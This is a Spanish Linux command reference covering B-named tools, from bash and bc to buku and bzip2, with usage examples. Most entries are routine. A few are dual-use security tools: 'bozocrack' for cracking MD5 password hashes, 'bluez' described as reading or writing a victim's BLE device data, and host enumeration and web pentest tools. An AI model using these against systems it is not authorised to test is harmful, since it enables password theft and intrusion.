
Intérprete de comandos compatible con sh que ejecuta comandos leídos desde la entrada estándar o desde un archivo.

```
$ bash -n script
comprueba todo un script sin ejecutar comandos solo los comprueba
```

```
$ bash -v script
Imprime las líneas de entrada del shell a medida que se leen
```

```
$ bash -x script
Imprime los comandos y sus argumentos a medida que se ejecutan
```

## bash-doc

Manuales de bash (en).

```
$ firefox file:///usr/share/doc/bash/bashref.html
```

```
$ evince /usr/share/doc/bash-doc/bash.pdf
```

```
$ evince /usr/share/doc/bash/bash.pdf
```

```
$ ls /usr/share/doc/bash/examples
```

## bashbug

Guión del shell para ayudar al usuario a componer y enviar informes de fallos concernientes a bash en un formato normalizado. bashbug llama al editor por defecto o, si no está definido a emacs. El usuario debe rellenar los campos apropiados y salir del editor. Entonces, bashbug envía el informe a bug-bash@prep.ai.mit.edu. Si el informe no puede ser enviado, se guarda en el fichero dead.bashbug en el directorio del usuario. La plantilla del informe consiste en varias secciones. La primera proporciona información sobre la máquina, el sistema operativo, la versión de bash y el entorno de compilación. La segunda sección debería rellenarse con una descripción del fallo. La tercera sección debería ser una descripción de cómo reproducir el fallo y la cuarta sección, opcional, es para una corrección que se proponga.

```
$ bashbug
```

## bashburn

Grabador de CDs en bash. Una vez lanzada la aplicación y creado el archivo de configuración, sale un bonito menú de opciones del que se desplegaran nuevos submenús según la selección.

```
$ bashburn
```

## bashdb

Debugger para bash scripting.

```
$ bashdb ./script.sh
```

Entra en el prompt de la aplicación.

```
help (Muestra las opciones)
next (ejecuta la siguiente orden)
```

## bashish

Entorno para terminales de texto. Permite cambiar colores, tipo de letra, transparencias, imagen de fondo... Descarga de <<http://sourceforge.net/projects/bashish/files/>> . Se instala con el clásico:

```
$ ./configure && make && sudo make install
```

```
$ bashish list
```

Muestra el listado de temas

```
$ bashish fire
```

Abre la terminal col el tema fire

```
$ BASHISH_DISABLED=1 un_comando
```

Lanza el comando que especifiquemos deshabilitando bashish

## bashrc

Archivo de configuración de la terminal propia del usuario.

1.-

Para que al escribir un comando que requiera permisos de root pueda autocompletarse presionando la tecla Tab.

```
$ gedit /home/usuario/.bashrc
```

Y añadir las líneas:

## B

```
if [ "$PS1" ]; then
    Complete -cf sudo
fi
2.-
```

Añadiendo o modificando las siguientes líneas se consigue que el history de bash se amplie al recuerdo a los últimos 3000 comandos usados, suprimiendo los repetidos y que ignore el espacio (Si se pone) de delante de un comando.

```
export HISTFILESIZE=3000
export HISTCONTROL=ignoredups:ignorespace
Si queremos que la sesión de bash se cierre si está inactiva durante 600 segundos, colocar la
línea:
```

```
export TMOUT=600
3.-
```

Establecer un proxy global a nuestro sistema

```
$ nano ~/.bashrc
```

Y añadir las siguientes líneas:

```
export http_proxy=http://ip_del_servidor:puerto
export https_proxy=http://ip_del_servidor:puerto
export ftp_proxy=http://ip_del_servidor:puerto
4.-
```

Para que el history indique fecha y hora en la que se ha lanzado el comando:

```
export HISTTIMEFORMAT='- %F %T - '
5.-
```

Para guardar en /root un fichero de histórico por cada uno de los usuarios que se hayan pasado a root.

```
export HISTFILE=/root/.bash_hist-$(who am i | awk '{print $1}';exit)
```

## bashtop

Script de bash que muestra información sobre el uso de la cpu, espacio de disco y procesos del sistema. Descarga <<https://github.com/aristocratos/bashtop>>

```
$ bashtop
```

## bastet

Clon libre de Tetris que intenta calcular qué tan útiles son los bloques que necesitas y te da el peor posible.

```
$ bastet
```

## batcat

Parecido al comando cat pero mejorado. En algunas distribuciones se llama simplemente bat.

```
$ batcat -A text.txt
mostrando, espacios, tabulaciones, nueva linea...
```

```
$ batcat -p text.txt
mostrar en texto plano
```

```
$ batcat -n script.sh
mostrando número de línea
```

## B

```
$ batcat -l c script.c
batcat detectará muchos lenguajes de programación resaltando la sintaxis. La opción -l fuerza la
detección de un lenguaje concreto, como C
```

```
$ batcat -L
todos los lenguajes soportados
```

```
$ batcat --list-themes
ver temas con sus muestras disponibles
```

```
$ batcat --theme TwoDark archivo
ver archivo con el tema seleccionado
```

Si queremos usar un tema concreto por defecto, colocar en `.bashrc` la linea y recargar:

```
export BAT_THEME="DarkNeon"
```

```
$ source ~/.bashrc
```

## bats

Marco de prueba que proporciona una forma simple de verificar que los programas escritos en bash se comportan como se esperaba. Tambien puede usarse para probar cualquier programa UNIX.

```
$ bats script.sh
```

## bb

demostración audiovisual de arte ascii

## bb.sh

Servidor web integramente en bash. Descarga: <<https://github.com/cfenollosa/bashblog>>. Una vez copiado el script en la carpeta web, normalmente en `/var/www` o `/var/www/html` y otorgarle permisos de ejecución [`chmod +x bb.sh`] y, preferiblemente a partir de archivos markdown, lanzar:

```
$ ./bb.sh post archivo.md
crear un post en html a partir de un archivo markdown
```

```
$ ./bb.sh edit -f archivo.html
Editar un archivo ya realizado para modificarlo
```

```
$ ./bb.sh rebuild
Actualizar después de una modificación
```

```
$ ./bb.sh list
Listar todos los post
```


```
$ ./bb.sh delete archivo.md
Eliminar archivo
```

```
$ ./bb.sh reset
resetear el site. No elimina los archivos md creados solo lo generado por el script
```

Nota.- Caso de tener el blog en el directorio personal, crear enlace simbolico a la carpeta web (`ln -s /home/USER/blog /var/www/html/`)

## bbcode

Colección de etiquetas que se usan para cambiar la apariencia del texto en un blog (similar al lenguaje de marcas html). Su forma de uso es [etiqueta-1][etiqueta-2] texto [/etiqueta-1][etiqueta-2]

```
[b]texto[/b] (Negrita)
[u]texto[/u] (Subrayado)
[i]texto[/i] (cursiva)
[color=red]texto[/color] (texto en color rojo. Otros colores: brown, marron, orange,
yellow, lime, green, aqua, blue, navy, purple, fuchsia, silver, white, coral...)
[font="Arial Narrow"]texto[/font] (Emplear la fuente Arial. Otras fuentes: Century,
Currier New, Fixed Sys, Georgia, Lucida, Times New Roman, Verdana.. Si se emplean
fuentes "exóticas" y el que visiona el texto no la tiene instalada, la etiqueta se
pasará por alto. Tambien es mejor entrecomillar el nombre de la fuente i esta contine
espacios)
[url=http://lapipaplena.net]La Pipa Plena[/url] (Enlace a una web)
[url]http://lapipaplena.net[/url]
[email]juan@gmail.com[/email] (Enlace a un correo)
[email=juan@gmail.com]Correo de juan[/email]
 (Mostrar una imagen)
[quote="Frase popular"]A quien madruga Dios le ayuda[/quote] (Cita)
[quote]A quien madruga Dios le ayuda[/quote] (Cita sin mostrar autor)
[code]texto[/code] (citar código fuente)
```

## bbpager

Herramienta que coloca un aplet para intercambiar el area de trabajo. Configuración en el archivo /.bbtools/bbpager.rc

## bbrun

Lanzador de aplicaciones propio de fluxbox.

## bc

Calculadora

bc -l (Entra en el prompt de la calculadora. Para terminar teclear quit o exit)

```
$ echo "36*2" | bc
```

```
$ echo "(1409302/28186042)*100" | bc -l
```

```
$ echo "scale = 6; 13.397/12" | bc
```

```
Resultado con 6 decimales
```

## bcd

Formatea un texto en forma de tarjeta perforada.

```
$ bcd linux es genial
```

## bd

Sustituye los clásicos cd ../../.. para ir varios directorios atras en la misma ruta por una forma más simple y solo colocando las primeras letras del directorio al que queremos ir..

```
$ cd /Documentos/linux/emacs/org/presentaciones/css
```

```
@Deb:~/Documentos/linux/emacs/org/presentaciones/css > bd e
```



## B

---

```
@Deb:~/Documentos/linux/emacs/ > bd D
```

```
@Deb:~/Documentos/ >
```

Nota.- Precisa algunos ajustes en configuración del sistema:

```
$ echo 'alias bd=". bd -si"' >> ~/.bashrc
```

```
$ source .bashrc
```

```
# wget -O /etc/bash_completion.d/bd https://raw.githubusercontent.com/vigneshwaranr/bd/master/bash_completion.d/bd
```

```
# source /etc/bash_completion.d/bd
```

## bchunk

Convertir imagenes CUE/BIN a ISO:

```
$ bchunk archivo.cue archivo.iso
```

## beep

Pitidos del altavoz

```
# beep
```

```
# beep -f 440 -l 1000
```

Sonando un La durante 1000 milisegundos

```
# beep -r 5 -d 1000
```

5 pitidos separados entre ellos por 1000 milisegundos de silencio

```
# beep -f 1000 -n -f 2000 -n -f 1500
```

"-n" permite introducir nuevos parámetros

```
# cat /etc/apt/sources.list | beep -c -f 311 -D 50 -l 10
```

Emitirá un pitido despues de cada caracter[-c]

Notas:

Frecuencias de la escala musical (-f):

```
Do > 261
Do# > 277
Re > 293
Re# > 311
Mi > 329
Fa > 349
Fa# > 369
Sol > 392
Sol# > 415
La > 440
La# > 466
Si > 493
```

Si beep no emite sonidos, puede que el dispositivo esté en la lista negra:

```
# nano /etc/modprobe.d/blacklist
```

Comprobar si existen alguna linea: blacklist pcspkr o blacklist snd\_pcp

```
# lsmod | grep pcsp
```

Otra forma de comprobar si existe como módulo

```
# modprobe pcspkr
```

para cargarlo

```
# modprobe -r pcspkr
```

Para eliminarlo nuevamente

```
# rmmod pcspkr
```

Otra forma de quitar el módulo

## bg

Pasa un proceso a segundo plano.

```
$ bg PID
```

```
$ bg %3
```

```
mover el proceso 3 a background
```

## biew

[beye]. Comando ncurses para ver y editar ficheros en modo assembler, binario, hexadecimal o modo texto. Es capaz de abrir cualquier archivo, ya sea un fichero de texto o un binario.

```
$ biew archivo
```

Para seleccionar el modo de visualización hay que pulsar la tecla F2.

Para realizar búsquedas hay que pulsar la tecla F7

Con la tecla F5 podemos ir a una línea en concreto o si cambiamos el modo, podemos indicar el % al que queremos ir (esto es especialmente útil si deseamos ir al principio o al final del fichero si este es enorme)

## big-cursor

Proporciona cursores de mouse grandes para usar en X. Es útil para usuarios de computadoras portátiles, para aquellos que ejecutan X en resoluciones muy altas y para cualquiera a quien le resulte difícil ver los cursores predeterminados del mouse.

## bin2iso

Convierte una imagen bin/cue a iso

```
$ bin2iso imagen.cue imagen.iso
```

## binclock

Reloj en formato binario para la consola.

```
$ binclock
```

```
$ binclock -l -t
```

```
En formato tradicional [hora, minuto, segundo] y actualizando cada segundo
```

```
$ binclock -l -n
```

```
Añadiendo la hora en formato humano
```

## bind

Para probar combinaciones de teclas que no queremos almacenar de forma permanente en el archivo .inputrc (ver)

```
$ bind "\"\C-x\C-g\": dump-functions"
```

```
asignará las teclas Ctrl+x Ctrl+g para ver las funciones readline
```

```
$ bind -P
```

```
listado de asignación de teclas de cada función readline
```

```
$ bind -l
```

```
Otra forma de ver el listado
```

## B

```
$ bind -p
Otra forma
```

```
$ bind -x "\"\C-l\": ls -la"
asignar combinaciones de teclas que ejecutan comandos. ls -la al pulsar Ctrl+l
```

## bindechexascii

Convertir el número entrado como argumento a distintos formatos y viceversa [binario a decimal, binario a hexadecimal, binario a ASCII, decimal a binario...]

```
$ bindechexascii --d2b 2020
convierte el num indicado a binario
```

```
$ bindechexascii --d2h 2020
lo convierte a hexadecimal
```

```
$ bindechexascii --b2d 11111100100
convierte el num binario a decimal
```

## bing-ip2hosts

Buscar sitios web alojados en una dirección IP específica o en un nombre de host. Descarga de <<http://www.morningstarsecurity.com/research/bing-ip2hosts>>

```
$ ./bing-ip2hosts -n microsoft.com
Sin mostrar el progreso [n]
```

```
www.answers.microsoft.com
www.microsoft.com
www.msdn.microsoft.com
www.research.microsoft.com
```

```
$ ./bing-ip2hosts -n -i microsoft.com
Mostrando la ip [i]
```

```
64.4.11.37,msdn.microsoft.com
64.4.11.37,www.answers.microsoft.com
64.4.11.37,www.microsoft.com
64.4.11.37,www.msdn.microsoft.com
64.4.11.37,www.research.microsoft.com
```

```
$ ./bing-ip2hosts -n -i -p microsoft.com
Anteponiendo al nombre de host http:// [p]
```

```
64.4.11.37,http://msdn.microsoft.com
64.4.11.37,http://www.answers.microsoft.com
64.4.11.37,http://www.microsoft.com
64.4.11.37,http://www.msdn.microsoft.com
64.4.11.37,http://www.research.microsoft.com
```

## binstats

Muestra estadísticas sobre programas y bibliotecas.

```
$ binstats -manuals=/usr/man
sobre páginas man
```

```
$ binstats -binary=/usr/bin
de binarios
```

```
$ binstats -file=bstats.log
de un archivo
```

```
$ binstats -temp=/tmp
de un directorio
```

## binutils

Los programas en este paquete se utilizan para ensamblar, vincular y manipular archivos binarios y de objeto. Pueden ser utilizados en conjunto con un compilador y varias bibliotecas para construir programas. Consta de la siguientes aplicaciones: `addr2line`, `ar`, `as`, `c++filt`, `dwp`, `elfedit`, `gold`, `gprof`, `ld`, `ld.bfd`, `ld.gold`, `nm`, `objcopy`, `objdump`, `ranlib`, `readelf`, `size`, `strings` y `strip`

## biosdecode

Analiza la memoria de la BIOS e imprime información sobre todas las estructuras que conoce.

```
# biosdecode
```

## bitmap

Editor de mapas de bits y utilidades de conversión para el sistema X Window. El mapa de bits puede especificarse como una lista de datos o una cadena de texto que se convierte en un mapa de bits.

## bld

Es un demonio que escucha las peticiones en el puerto 2905 y recoge la información cada 10 segundos escribiendo los resultados en un archivo RRD. Las estadísticas recopiladas incluyen: Uso de CPU y memoria, carga del sistema, latencia de la red (ping), tráfico de la interfaz de la red, y temperaturas del sistema (usando sensores `lm`), y uso del disco. Las peticiones son o bien presentaciones de direcciones IP o comprobaciones con la lista negra. `bld` utiliza un algoritmo muy simple para decidir si agregar o no las direcciones IP a la lista negra. La primera vez que una dirección IP es enviada, se agrega a una lista interna con una marca de tiempo y todas las solicitudes posteriores incrementan un contador para esta IP. Tan pronto como el intervalo de tiempo mínimo es transcurrido (por defecto: 30 segundos), y si se alcanza un ratio máximo de solicitudes (por defecto: 10 envíos en el intervalo de 30 segundos), la IP es puesta en la lista negra. A continuación se pone en la lista negra durante un tiempo configurable (por defecto: 900 segundos).

```
# /etc/init.d/bld stop
parar el demonio
```

```
# bld -u root
indicar el usuario de bld
```

```
# bld -a localhost
indicar el host de escucha
```

```
# bld -p 2905
indicar el puerto de escucha
```

```
# bld -P /root/bld
indicar el archivo donde guardar el PID
```

```
# bld -B /root/bld_lista_negra
donde guardar la lista negra
```

```
# bld -I /root/bld_lista_ips
donde guardar la lista de ips
```

```
# bld -W /root/bld_lista_blanca
donde guardar la lista blanca de ips
```

```
# /etc/init.d/bld force-reload
reiniciar el demonio con todo lo especificado
```

Otros comando relacionados y del mismo paquete o `bld-tools`:

```
# bldread /root/bld_lista_negra
leer informes si existen
```

```
# bld-mrtg
```

## B

```
lee los archivos de volcado del demonio e imprime estadísticas sobre la cantidad de IP actualmente en la lista negra y la cantidad de IP agregadas en los últimos 5 minutos
```

```
# blddecr localhost:10000 192.168.1.58
disminuye el contador de una dirección IP en un host y un puerto determinado. Por defecto localhost:2905
```

```
# bldinsert localhost:10000 192.168.1.104
Agrega una ip a la lista negra en un host concreto y un puerto determinado. Por defecto localhost:2905
```

```
# bldquery localhost:10000 192.168.1.39
pregunta al demonio que escucha en determinado host y puerto si una ip está en la lista negra por defecto localhost:2905
```

```
# bldsubmit localhost:10000 192.168.1.46 (envía una ip al demonio que escucha en el host y puerto determinado por defecto en localhost:2905
```

## blkid

Muestra uuid de cada partición y el tipo de formato.

```
# blkid
```

También con:

```
$ ls -lF /dev/disk/by-uuid/
```

```
# blkid -i /dev/sda
Información sobre los sectores
```

## blockfinder

Enumera la información de red por países.

```
$ blockfinder -i
actualizar la caché
```

```
$ blockfinder -v -t SP
buscar el recurso deseado en el país de su elección
```

```
$ blockfinder -v -t SP:ipv4
filtrar los resultados de un protocolo específico
```

## bluez

Es una herramienta que se puede utilizar para manipular atributos de un dispositivo Bluetooth Low Energy [BLE]. Es principalmente útil para averiguar los servicios y características de un dispositivo BLE disponible para que los datos de la víctima puedan ser leídos/escritos según el atacante. consta de varios ejecutables; bluemoon, bluetoothctl, btattach, btmgmt, btmon, ciptool, gatttool, hciattach, hcitool, hex2hcd, l2ping, l2test, mpris-proxy, obexctl, rctest, rfcomm, sdptool y bluetoothd

```
$ hcitool dev
averiguar los dispositivos accesibles
```

```
$ hcitool lescan
escaneo de baja energía. El resultado puede ser F2:C5:F2:0A:BF:C8
```

```
$ gatttool -b F2:C5:F2:0A:BF:C8 -I
conectar al dispositivo encontrado
```

```
$ gatttool --help-all
todas las opciones
```

## B

```
$ gatttool -i
iniciar la aplicación en modo interactivo
```

```
$ gatttool --primary
Comprobación de los servicios disponibles del dispositivo BLE conectado
```

```
$ sdptool browse F2:C5:F2:0A:BF:C8
Con su identificador buscar el canal a utilizar
```

```
$ obexftp -b F2:C5:F2:0A:BF:C8 -B 2 -p foto.jpg
b, el dispositivo, B, el canal y p el archivo a mandar
```

Nota.- En el dispositivo deberemos aceptar la transferencia

1.-

En /etc/bluetooth/pin introducimos la clave de acceso, normalmente 1234.

```
# /etc/init.d/bluetooth restart
reiniciar el demonio
```

Activar el bluetooth del móvil y verificar con:

```
# hcitool scan
```

## bmon

Monitorizar el consumo de la conexión a internet. Una vez lanzado, pulsando "g" se muestra una pequeña grafica y con "d" una tabla de estadísticas. "RX Rate" son los paquetes recibidos y "TX Rate" los enviados. Pulsando "?" muestra una pequeña ayuda. Pulsar "q" para salir.

```
$ bmon -s 3
Uso basico. Mostrara todos los interfaces de red, incluso los inactivos y refrescara cada 3 segundos
```

```
$ bmon -p eth0
Solo mostrara el especificado
```

```
$ bmon -p eth0,eth1
Mostrar los especificados
```

```
$ bmon -i list
Muestra los modulos de entrada
```

```
$ bmon -o list
Muestra los modulos de salida
```

```
$ bmon -p eth0 -i proc
Mostrara solo el que afecta el modulo proc
```

```
$ bmon -i proc:help
Solicitar informacion sobre un modulo
```

Algunos parametros pueden colocarse en el archivo de configuracion:

```
$ nano .bmonrc

policy eth0
layout Statusbar red yellow reverse
Para no tener que especificar la red y con algun colorido. Los colores permitidos son: black, red,
green, yellow, blue, magenta, cyan, white y default y sobre las partes de la ventana [layouts
] que se puede incidir: Statusbar, List, Header, Selected y Default.
```

## boinc

[boinc-client boinc-manager]Plataforma de software libre para la computación distribuida que comprende áreas tan diversas como matemáticas, medicina, biología, astrofísica... Es una forma de aprovechar nuestros equipos durante los periodos de inactividad para que sean usados en el marco de investigaciones científicas.

```
# /etc/init.d/boinc-client start
Arrancar el demonio
```

```
$ boincmgr
Arrancar la gui para la configuración inicial
```

## bookman

Generar libros de las páginas man.

```
$ bookman -p -t Paginas man /usr/man/man1/* > man.pdf
en formato pdf [-p] y con título [-t]
```

## bootchart

Ver el proceso de arranque en una imagen png. En la entrada del kernel en el grub colocar: init=/sbin/bootchartd

Ejemplo:

```
title Arch Linux
root (hd0,0)
kernel /boot/vmlinuz26 root=/dev/sda2 init=/sbin/bootchartd ro
initrd /boot/kernel26.img
Cuando el sistema haya arrancado lanzar:
```

```
# bootchart-render
```

```
Parsing /var/log/bootchart.tgz
Wrote image: ./bootchart.png
Lo que convertirá el ilegible archivo bootchart.tgz en una imagen en nuestro home. El archivo de
configuración en /etc/bootchartd.conf
```

## bootinfoscript

[boot-infor-script]. Genera un informe del arranque del sistema.

```
# bootinfoscript
genera el informe RESULTS.txt en el directorio /root
```

## bootlogd

Grabar los mensajes de inicio de sesión.

```
# bootlogd -l inicio.log
Especificando archivo. Por defecto en /var/log/boot
```

## bottom

Muestra información (CPU, red, memoria RAM, procesos, temperaturas...) del equipo en tiempo real. Página del proyecto: <https://github.com/ClementTsang/bottom>

```
$ btm
```

## boxes

Dibuja un marco en ascii entorno a un texto.

```
$ boxes -l | less
```

Ver todas las opciones de marco

```
$ echo -e "Linux es un sistema genial" | boxes -d santashopt -s extglob
```

```
$ echo -e "\nLinux\nes un sistema\ngenial" | boxes -d peek
```

Con saltos de línea en el texto [\n]

```
$ echo -e "\nLinux\nes un sistema\ngenial" | boxes -p a8t4 -d sunset
```

Con espacios en blanco alrededor del texto

```
$ echo -e "\nLinux\nes un sistema\ngenial" | boxes -a c -d sunset
```

texto alineado al centro [-a c]

Algunas otras opciones:

```
-a l (texto alineado a la izquierda)
```

```
-a r (texto alineado a la derecha)
```

## bozocrack

Craquear contraseñas de hash md5 a partir de los resultados de su búsqueda en google. Descarga de <  
<https://github.com/juuso/BozoCrack>>

Proceso:

Copiar el hash o hashses uno debajo de otro en un archivo de texto

```
$ bozocrack archivo.txt
```

Nota.- dado que no usa diccionarios ni fuerza bruta sino solo búsquedas de google, solamente se encontrarán las más usuales.

## bpytop

Monitor de recursos tipo top o htop escrito en python. La descarga es:

```
# apt install snapd
```

```
# snap install bpytop
```

Se lanza con:

```
$ bpytop
```

## brew

[build-essential curl git python-setuptools ruby]. En Debian el paquete se denomina linuxbrew-wrapper. Bifurcación de Homebrew, el administrador de paquetes de Mac OS, para Linux. Algunas de sus características principales son que no requiere acceso root, permite instalar software no empaquetado por la distribución nativa y pueden instalarse versiones actualizadas de software cuando la distribución nativa es antigua.

```
$ brew doctor
```

Comprobar si linuxbrew esté instalado y funciona correctamente

```
$ brew update
```

actualizar linuxbrew

```
$ brew search
```

paquetes están disponibles

```
$ brew upgrade
```



## B

```
actualizar paquetes obsoletos
```

```
$ brew upgrade paquete  
actualizar un paquete especifico
```

```
$ brew --cache  
donde están los paquetes descargados
```

```
$ brew install paquete  
Instalar un paquete
```

```
$ brew remove  
Eliminar un paquete
```

## brillo

Para definir el nivel de brillo de algunos portatiles podemos recurrir al siguiente comando:

```
# echo 2000 > /sys/class/backlight/acpi_video0/brightness
```

En el caso de las gráficas intel:

```
# echo 2000 > /sys/class/backlight/intel_backlight/brightness
```

Para ver el nivel de brillo máximo que permite la pantalla:

```
# cat /sys/class/backlight/acpi_video0/max_brightness
```

Y en intel:

```
# cat /sys/class/backlight/intel_backlight/max_brightness
```

## bro

Monitor de seguridad que inspecciona todo el tráfico para detectar signos de actividad sospechosa y mediciones de rendimiento.

```
# mkdir bro && cd bro  
crear el directorio y entrar en él porque genera varios archivos
```

```
# bro -i eth0  
analizar el tráfico en la red eth0.
```

Una vez cerrado el monitor con C-c listar los logs creados en el directorio [conn.log, dns.log, files.log, http.log, packet\_filter.log, reporter.log, ssl.log, weird.log, x509.log] y visializarlos con cualquier editor.

## bropages

Otra forma de visualizar las páginas man coloreando la sintaxis y mostrando ejemplos.

```
$ bro ls
```

## bsd-from

Imprime los encabezados de los correos del usuario que existen en el buzón del sistema.

```
$ bsd-from -c  
La cantidad de mensajes que existen
```

```
$ bsd-from -s usuario  
Muestra los encabezados para el usuario en concreto
```

```
$ bsd-from -f /var/mail/usuario  
con más información
```

## bsdgames

Colección de algunos de los juegos basados en texto que se han disfrutado durante décadas en sistemas Unix. Incluye los siguientes: aventura, aritmética, atc, backgammon, battlestar, BCD, Boggle, César, Canfield, Countmail, Cribbage, Dab, go-fish, gomoku, hack, hangman, hunt, mille, monop, morse, number, pig, phantasia, pom, ppt, bonus, quiz, random, rain, robots, rot13, vela, serpiente, tetris, trek, wargames, gusanos, gusanos, wump, wtf

## bsdmainutils

Paquete que contiene programas pequeños para el sistema BSD-style Unix. Proporciona banner (como printerbanner), calendar, col, colcrt, colrm, column, from (como bsd-from), hexdump (o hd), look, lorder, ncal (o cal), ul y write (como bsd-write).

## btop

Monitor de recursos de línea de comandos parecido a top y htop más moderno y colorido que muestra el uso y las estadísticas del procesador, la memoria, discos, red y procesos.

```
$ btop
```

## btscanner

Escanear dispositivos bluetooth

```
$ btscanner
```

## btsync

Compartir carpetas. Descargar el archivo que corresponda a nuestra arquitectura de <http://labs.bittorrent.com/experiments/sync.html>. No precisa instalación.

```
$ cd btsync_x64
```

Si no queremos modificar los datos, podemos acceder a la aplicación con la dirección del navegador: <http://0.0.0.0:8888> con nombre de usuario: "admin" y contraseña: "password". Si queremos personalizar los datos, matar el proceso:

```
$ kill -9 PID
```

Y crear el archivo de configuración:

```
$ ./btsync --dump-sample-config > sync.conf
```

Editar y modificar los parámetros indicados según conveniencias:

```
$ nano sync.conf
```

```
"storage_path" : "/home/USUARIO/.sync"
"listen" : "127.0.0.1:8888",
"login" : "USUARIO",
```

```
"password" : "CONTRASEÑA"
```

Guardar y lanzar la aplicación:

```
$ ./btsync --config sync.conf
```

Acceder por el navegador con la dirección: <http://127.0.0.1:8888>

Colocar en el cron para que queda activo al reiniciar:

```
$ crontab -e
```

Colocar la línea:

```
@reboot /home/USUARIO/btsync_x64/btsync --config /home/USUARIO/btsync_x64/sync.conf
Guardar. Para compartir una carpeta: clic en "Add Folder", seleccionar la carpeta, generar la
clave pulsando en "generate" y finalizar clicando en "Add". En el pc que sincronizará la
carpeta, abrir la misma dirección, clic en "add folder" y, sin clicar en "generate",
introducir la clave generada antes y seleccionar la carpeta donde se copiará.
```

## builtin

Cuando introducimos un comando en Bash el orden de preferencia en la búsqueda del símbolo por parte de Bash es: Primero las funciones, luego los comandos internos y por último los ficheros de scripts y ejecutables. builtin es más restrictivo que command [ver] y hace que no se busquen alias ni funciones, sólo comando internos [ver tambien comando enable]:

```
$ builtin cd /
```

## buku

Gestión de marcadores. Importación automática de firefox, chrome y chromium, exporta/importa de html, markdown y org, los abre en el navegador...

```
$ buku -u
actualizar campos de los marcadores, comentarios, tags, título...
```

```
$ buku --ui
importa los marcadores de los navegadores
```

```
$ buku -a http://lapipaplana.duckdns.org/tractatus/
entrar una url
```

```
$ buku -a https://www.deepl.com/es/translator -c traductor --title Deepl traductor
entrar un marcador con comentario y título
```

```
$ buku -a https://www.facebook.com/ -c redes de mierda --title una de las redes -t redes
entrar marcador con comentario, título y tag
```

```
$ buku -a https://www.facebook.com/ -c redes de mierda --title una de las redes -t redes --
immutable 1
que no se actualicen com el argumento -u
```

```
$ buku -p -15
ver los 15 primeros del listado
```

```
$ buku -d
borrar todos los marcadores
```

```
$ buku -d 7-12
) borar los marcadores del 7 al 12
```

```
$ buku -d 5
suprimir el marcador num. 5
```

```
$ buku -S debian
mostrar los marcadores con el tag "debian"
```

```
$ buku -e bookmarks.html
crear un .html con todos los marcadores
```

```
$ buku -i bookmarks.html
importar un .html con los marcadores
```

```
$ buku -e bookmarks.org
crear un archivo .org con todos los marcadores
```

```
$ buku -S blank
listar los marcadores que no tienen ni título ni tag
```

```
$ buku -w nano
indicar que el editor en nano
```

```
$ buku -u 1 -c tractatus elementalis
actualizar el num. 1 y añadir un comentario
```

```
$ buku -l
pedirá contraseña y confirmación para encriptar el archivo
```

```
$ buku -k
desencriptar el archivo
```

Nota.- Los nuevos comentario, tags o título sustituyen a los que constan en la entrada.

## bundlewrap

Sistema de gestión de configuración descentralizada. Mientras que la mayoría de los sistemas de gestión de configuración se basan en una arquitectura cliente-servidor, bundlewrap funciona a partir de un repositorio clonado en la máquina local.

```
$ bw apply -i mynode
aplicar la configuración al nodo preguntando interactivamente antes de hacer cada cambio
```

```
$ bw run nodo1,grupo2,nodo3 "uname -a"
ejecutar comandos en los nodos y grupos especificados
```

```
$ bw test
paquete de pruebas útil después de cada confirmación. Intentará detectar cualquier error en
paquetes y plantillas de archivos inicializando cada elemento de cada nodo
```

## bunzip2

Descomprime ficheros bz2.

```
$ bunzip2 archivo.bz2
```

## burnp6

[cpuburn]. Colocar la cpu al 100%. Si existen varios nucleos lanzar una instancia para cada uno. Existen varias opciones según el tipo de nucleo: burnBX, burnK6, burnK7, burnMMX, burnP5 y burnP6.

```
$ burnP6
```

## burpsuite

Plataforma integral para pruebas de seguridad de aplicaciones web inncluidas pruebas de seguridad, evaluación de vulnerabilidades y pruebas de penetración. Es una herramienta comercial, pero también está disponible una versión gratuita con funciones limitadas.

```
# burpsuite
arrancar la aplicación
```

```
# burpsuite --use-defaults
arrancar la aplicación usando la configuración predeterminada
```

```
# burpsuite --project-file=~/.proyecto/archivo
abrir el proyecto
```

```
# burpsuite --config-file=~/.config
cargar un archivo de configuración específico
```

```
# burpsuite --disable-extensions
arrancar sin extensiones
```

## busctl

Monitorear de D-bus

```
# busctl --activatable
```

```
# busctl --acquired
```

```
# busctl --unique
```

```
# busctl --show-machine
```

```
# busctl --quiet
```

## bustle-pcap

Herramienta para trazar y proporcionar información de llamadas D-Bus.

```
# bustle-pcap -v monitor.pcap
con la máxima información de la sesión y guardado en el archivo monitor.pcap
```

## busybox

Herramienta que integra los comandos linux más comunes. Útil en móviles con sistema Android.

```
$ busybox
Mostrará la forma de uso y los comando disponibles. En Android entra en el prompt. exit para salir

$ busybox ls -a
lanzará ls -a desde el entorno busybox

$ busybox su
```

## bwm-ng

Muestra uso del ancho de banda de nuestra conexión o de nuestros discos duros [por defecto en KB por cada medio segundo]

```
# bwm-ng
Por defecto nos muestra el ancho de banda de las conexiones de red

# bwm-ng -i disk
Con la opción -i disk especificamos que queremos ver las estadísticas para los discos duros

# bwm-ng -i disk -d
si añadimos la opción -d se hace más legible mostrando datos en Bytes, KB o MB
```

Nota.- Si durante la ejecución pulsamos la tecla h accederemos a un menú de opciones.

## byobu

Terminal tipo screen [ver] o tmux [ver] con una barra inferior que muestra consumos de cpu, ram, hora, fecha...

Algunas teclas de control:

```
F2 (crear nueva pestaña)
F3 (Ir a la pestaña anterior)
F4 (Ir a la pestaña posterior)
F5 (Refrescar estado)
F6 (Salir dejando la terminal activa)
F7 (Mostrar historial)
F8 (Renombrar la pestaña)
F9 (Configurar byobu)
exit (Salir)
```

## byzanz

Grabar el escritorio o parte de él con salida en GIF animado, Theora, Ogg o Flash.

```
$ byzanz-record -c -d 20 archivo.ogg
Incluyendo puntero [-c] y durante 20 segundos. por defecto 10 segundos
```

algunas opciones:

```
-a (tambien grabar sonido)
--delay=5 (Empezar pasados 5 segundos. Por defecto 1)
-w 500 (grabar rectángulo de 500 pixels de ancho)
-h 400 (grabar rectángulo de 400 pixels de alto)
-x 30 (coordenadas x para el rectángulo)
-y 60 (coordenadas y para el rectángulo)
```

## bzcat

Descomprime hacia la salida estandar un archivo comprimido con bzip2.

```
$ bzcat archivo.bz2
```

## bzcmp

Compara archivos comprimidos con bzip2 (Ver cmp)

## bzdiff

Busca las diferencias entre dos ficheros comprimidos con bzip2 (Ver diff)

## bzexe

[bzip2]. Comprimir/descomprimir ejecutables.

```
# bzexe ejecutable
```

```
# bzexe -d ejecutable  
Descomprimir
```

## bzgrep

Imprime las lineas coincidentes con una expresión dada de un archivo comprimido con bzip2.

```
$ bzgrep pedro archivo.bz2  
Imprime las las que coinciden con pedro
```

## bzip2

